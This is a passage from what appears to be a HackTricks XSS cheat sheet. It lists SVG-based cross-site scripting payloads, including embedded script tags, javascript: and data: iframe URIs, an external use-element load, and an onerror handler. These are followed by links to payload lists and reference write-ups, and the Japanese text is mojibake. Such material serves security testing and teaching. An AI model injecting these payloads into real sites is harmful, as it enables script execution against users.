<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
ããã«SVG payloads㯠https://github.com/allanlw/svg-cheatsheet ãåç §ããŠãã ãã
ãã®ä»ã®JSããªã㯠& é¢é£æ å ±
Misc JS Tricks & Relevant Info
XSSãªãœãŒã¹
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
åè
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From âLow-Impactâ RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


